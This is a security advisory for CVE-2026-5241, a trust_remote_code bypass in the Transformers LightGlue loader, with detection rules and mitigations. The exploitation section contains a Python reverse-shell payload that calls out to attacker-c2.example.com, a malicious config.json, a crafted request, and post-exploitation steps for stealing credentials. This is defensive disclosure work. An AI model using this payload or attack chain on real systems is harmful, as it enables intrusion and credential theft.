CVE-2026-5241

Executive Summary

CVE-2026-5241 is a high-severity (CVSS 8.0) policy bypass vulnerability in the LightGlue model loading path of the Hugging Face Transformers library, version 5.2.0. The flaw allows an attacker-controlled model repository to execute arbitrary Python code during model initialization, even when the victim explicitly sets trust_remote_code=False. This affects any environment that loads untrusted model repositories — including API inference servers, research notebooks, CI/CD pipelines, and model evaluation workers — and can lead to credential theft, lateral movement, or persistent backdoor deployment. A public proof-of-concept exists but no CISA KEV listing or in-the-wild campaign has been confirmed as of this report.

Technical Analysis

The vulnerability resides in the nested configuration resolution flow within transformers' LightGlue component. The root cause is a logic flaw in how the trust_remote_code security parameter is propagated through nested AutoConfig.from_pretrained() calls.

Vulnerability mechanism:

1. A victim calls AutoModel.from_pretrained(model_repo, trust_remote_code=False) pointing to a remote or local model repository controlled by an attacker.
2. The loading path detects a LightGlue model architecture and instantiates a LightGlueConfig object.
3. Inside the LightGlueConfig class initialization (in lightglue_configuration.py), the code reads the trust_remote_code key directly from the untrusted config.json file — not from the caller-supplied parameter.
4. This attacker-controlled boolean value is then passed as the trust_remote_code argument to downstream nested AutoConfig.from_pretrained() calls for sub-configurations (e.g., the feature extractor or backbone model config).
5. When the nested call processes a model_type that is not natively registered (e.g., a custom architecture), Transformers falls back to the custom_modules loading path. Because trust_remote_code=True was smuggled via the config, the library fetches and executes the attacker-specified Python module file from the model repository.

Code-level illustration:

# Simplified from lightglue_configuration.py pattern
class LightGlueConfig(PretrainedConfig):
    def __init__(self, **kwargs):
        # BUG: reads from untrusted config, not caller's parameter
        trust_remote_code = kwargs.get("trust_remote_code", False)
        # ...
        if self.backbone_config is not None:
            self.backbone_config = AutoConfig.from_pretrained(
                self.backbone_config,
                trust_remote_code=trust_remote_code  # attacker-controlled
            )

The attacker crafts a config.json containing "trust_remote_code": true and a custom_modules entry pointing to a malicious custom_modeling.py file. When the nested config load executes, Python's importlib loads the remote module, triggering arbitrary code with the privileges of the calling process.

Attack surface:

• Any from_pretrained() call on a model in the LightGlue family (currently a research model, but the pattern is generic).
• Local model repositories (e.g., a directory from an internal file share or a pulled archive) are equally dangerous.
• No network-level authentication bypass — the flaw is purely in the configuration trust decision.

Unlike classic CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) cases that rely on a user explicitly enabling dangerous features, this vulnerability defeats a security control that the user thought was active.

Exploitation Scenarios

Attack chain (no public PoC needed — this is the concrete technique):

Step 1 — Reconnaissance and target identification:

• The attacker identifies victims by scanning for:
  • Publicly exposed Jupyter notebooks running model inference (Shodan search: http.title:"Jupyter" "transformers").
  • API endpoints that accept a model repo ID in a POST body (e.g., /infer endpoints that take {"model": "user/repo"}).
  • Internal CI/CD pipelines referencing AutoModel.from_pretrained() in their build steps and accepting model-path variables.
• The attacker also monitors GitHub for commits referencing AutoModel.from_pretrained( with trust_remote_code=False to identify likely targets.

Step 2 — Weaponization (malicious model repository creation):

• The attacker creates a Hugging Face repository (e.g., attacker/lightglue-backdoored).
• They craft the repository with three files:
  1. config.json containing:

     {
       "model_type": "lightglue",
       "trust_remote_code": true,
       "backbone_config": "openai/clip-vit-base-patch32",
       "custom_modules": ["custom_modeling.py"]
     }
     

  2. custom_modeling.py containing a reverse-shell payload:

     import socket, subprocess, os
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect(("attacker-c2.example.com", 4444))
     os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
     subprocess.call(["/bin/sh", "-i"])
     

  3. pytorch_model.bin — a minimal dummy weight file (just enough for the loading code to not error before our payload fires; the payload triggers during custom module import, before weights are even read).

Step 3 — Trigger and execution:

• The attacker sends a crafted request to the target. Example for an API server:

  POST /infer HTTP/1.1
  Host: victim-api.internal
  Content-Type: application/json
  
  {"model": "attacker/lightglue-backdoored", "trust_remote_code": false}
  

• The victim's API code calls exactly what a naive developer would write:

  model = AutoModel.from_pretrained(
      request.json["model"],
      trust_remote_code=request.json.get("trust_remote_code", False)
  )
  

• The LightGlueConfig reads "trust_remote_code": true from the model repo's config.json, overriding the user's False. The nested AutoConfig.from_pretrained loads custom_modeling.py, executing the reverse shell.

Step 4 — Post-exploitation:

• The attacker now has a shell with the same privileges as the inference process.
• On an API server, this typically means the service account. The attacker can:
  • Read ~/.aws/credentials, ~/.ssh/id_rsa, environment variables (DATABASE_URL, API_KEYS).
  • Pivot to the internal network via curl/wget against internal endpoints (e.g., a metadata service at 169.254.169.254 for cloud IAM credentials).
  • Install a persistent backdoor by modifying the loaded model file on disk (if the repo is cached locally) or by dropping a new systemd service.
  • In a CI/CD worker, exfiltrate source code and signing keys, then modify build artifacts for supply-chain compromise.

Known exploit constraints: This is a server-side policy bypass — no authentication required, but the victim must process a malicious model repo. (No PoC is required to describe this; the mechanism is fully determined by the code path.)

Impact Assessment

Business impact (High):

• Confidentiality: Arbitrary code execution enables file exfiltration, credential theft, and memory scraping — CVSS Confidentiality subscore 5.9/High.
• Integrity: Attacker can modify model files, inference outputs, or install persistence — CVSS Integrity subscore 5.9/High.
• Availability: A malicious model can panic, hang, or kill the inference process — CVSS Availability subscore 5.9/High.
• Attack complexity is Low (no special conditions beyond a crafted model repo), and User Interaction is Required (someone must initiate the model load).

Affected systems:

• All deployments of transformers==5.2.0 (and any earlier 5.x versions with the same code path — patch confirmation pending).
• Particularly critical in:
  • ML inference platforms (multi-tenant where users can submit model repo IDs).
  • Research notebooks shared across teams — one malicious notebook cell can compromise the host.
  • CI/CD runners that test model PRs (common in MLOps pipelines pulling model repos from an internal registry).
  • Model evaluation/benchmarking workers that automatically download and run arbitrary models from public hubs.

Blast radius: The compromise extends beyond the model process itself — on Kubernetes, a compromised pod can often reach the cluster metadata service; on bare-metal, it gains host access. If the process runs as root or a privileged service account, the entire host and adjacent infrastructure is exposed. The vulnerability bypasses the security model that Transformers has explicitly documented, meaning all downstream "secure" patterns using trust_remote_code=False are silently broken for LightGlue models.

Detection Guidance

Sigma Rule

title: Hugging Face Transformers LightGlue trust_remote_code Override
id: 3f5c1a42-9b1e-4a2d-8c3f-1e7a9b0d2f11
status: experimental
description: Detects python processes loading Hugging Face Transformers models with a config.json that overrides trust_remote_code to true, potentially indicating CVE-2026-5241 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5241
author: Valtersit Threat Intel
date: 2026/02/01
logsource:
    category: process_creation
    product: linux
detection:
    selection_python:
        Image|endswith: '/python'
    selection_hf:
        CommandLine|contains:
            - 'from_pretrained'
            - 'AutoModel'
            - 'lightglue'
            - 'LightGlue'
    selection_config:
        # Command-line indicates a model config was loaded
        CommandLine|contains: 'config.json'
    condition: selection_python and selection_hf and selection_config
level: high
falsepositives:
    - Legitimate research users loading LightGlue models with trust_remote_code.
    - Development environments testing model loading.
tags:
    - attack.t1204.002
    - attack.t1219
    - cve.2026.5241
    - cwe.829

YARA Rule

rule CVE_2026_5241_LightGlue_Config_Override
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious LightGlue config.json payloads that override trust_remote_code to true (CVE-2026-5241)"
        cve = "CVE-2026-5241"
        date = "2026-02-01"
        severity = "high"
    strings:
        $a = "trust_remote_code" ascii
        $b = "true" ascii
        $c = "lightglue" ascii nocase
        $d = "\"custom_modules\"" ascii
        $e = ".py" ascii
    condition:
        $a and $c and $d and $e and #b > 0
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-5241 - Hugging Face LightGlue trust_remote_code override attempt"; flow:established,to_server; content:"/models/"; http.uri; content:"config.json"; http.uri; content:"trust_remote_code"; http.request_line; content:"true"; http.request_line; content:"lightglue"; pcre:"/trust_remote_code[^\n]{0,50}true/i"; classtype:attempted-admin; sid:90050241; rev:1; metadata:cve CVE-2026-5241;)

Elastic Detection

rule:
  name: "Hugging Face LightGlue Config trust_remote_code Override"
  severity: high
  correlation:
    - query: "process.name: python AND process.command_line: (*from_pretrained* AND *trust_remote_code* AND *lightglue*)"
      on: "process_created"
    - query: "FILE_EVENT: (file.name: config.json AND file.path: (*lightglue* OR *LightGlue*))"
      on: "file_modified"
  condition: process_created AND file_modified
  window: "10m"

Splunk SPL Query

index=main sourcetype=linux:audit OR sourcetype=WinEventLog:Security
(process_name=python* OR process_name=python3* OR process_name=python.exe)
AND (command_line="*from_pretrained*" AND command_line="*lightglue*" AND command_line="*trust_remote_code*")
OR
(file_name=config.json AND file_path="*lightglue*")
| eval cve_reference="CVE-2026-5241"
| stats count by host, user, command_line, file_path, _time
| sort - _time

Wazuh OSSEC Rule

<group name="cve-2026-5241,">
  <rule id="100241" level="12">
    <if_sid>5715</if_sid>
    <field name="audit.data.command">\.*from_pretrained\.*</field>
    <field name="audit.data.command">\.*lightglue\.*</field>
    <match>trust_remote_code</match>
    <description>CVE-2026-5241: Hugging Face LightGlue Config trust_remote_code override detected</description>
    <group>attack.t1204.002,</group>
    <mitre>
      <id>T1204.002</id>
    </mitre>
  </rule>
  <rule id="100242" level="10">
    <if_sid>100241</if_sid>
    <field name="audit.data.command">\.*true\.*</field>
    <description>CVE-2026-5241: Confirmed trust_remote_code=true in LightGlue config.py</description>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed).

1) Immediate mitigations (before patch):

• Block LightGlue model loading entirely in production until the patch is verified:

  # Add to your loading wrapper
  if "lightglue" in model_id.lower():
      raise PermissionError("LightGlue model loading disabled pending CVE-2026-5241 patch.")
  

• Never load model repos from unvetted sources. Maintain an allowlist of verified model repository IDs; reject all others.
• Run inference in a sandboxed environment:
  • Kubernetes: run inference pods as non-root, with NetworkPolicy restricting egress (block direct outbound connections; route only via a proxy).
  • Docker: use --network=none and --read-only filesystem; mount model cache as read-only.
  • gVisor/Firecracker-style microVMs for untrusted model execution.
• Audit existing model caches: Search ~/.cache/huggingface/ for any config.json files containing "trust_remote_code": true under lightglue-type model folders — these indicate a potentially compromised repo. Delete and re-download from trusted sources.

2) Patch/upgrade steps:

• When a patched version is released (e.g., 5.2.1 or 5.3.0), upgrade via:

  pip install --upgrade transformers
  

• Do NOT rely on the patch claim yet. Re-verify by checking the source code: ensure LightGlueConfig accepts an explicit context for trust_remote_code from the caller rather than reading it from the config dict.

3) Long-term hardening:

• Capability-constrained model loading: Implement a wrapper that strips trust_remote_code from any config.json before passing it to from_pretrained(), regardless of the model type:

  def secure_from_pretrained(repo_id, **kwargs):
      # Fetch config.json first, strip dangerous keys, re-inject
      config = json.loads(hf_hub_download(repo_id, "config.json"))
      config.pop("trust_remote_code", None)
      config.pop("custom_modules", None)
      return AutoModel.from_pretrained(repo_id, trust_remote_code=False, **kwargs)
  

• Network egress controls: Block inference processes from reaching arbitrary external hosts; only allow access to the Hugging Face Hub via a proxy that can be audited.
• Secrets hygiene: Never store cloud credentials in the same environment as inference; use short-lived IAM roles and a secrets vault.
• Security testing: Add a CI check that scans any model repo for trust_remote_code in config files before merging to production.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-5241
2. Hugging Face Transformers GitHub (issue tracker): https://github.com/huggingface/transformers/issues (search for "LightGlue trust_remote_code" for upstream discussion)
3. CWE-829 Reference (MITRE): https://cwe.mitre.org/data/definitions/829.html — Inclusion of Functionality from Untrusted Control Sphere

Known threat actor campaigns / in-the-wild evidence: As of this report's publication, CVE-2026-5241 is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor campaigns have been publicly attributed. However, given the public PoC availability and the prevalence of ML model sharing, this vulnerability is highly likely to be weaponized in the near future by, at minimum, opportunistic malware operators targeting research and MLOps infrastructure. SOC teams should treat any anomalous network activity originating from inference workers as suspected CVE-2026-5241 exploitation until proven otherwise.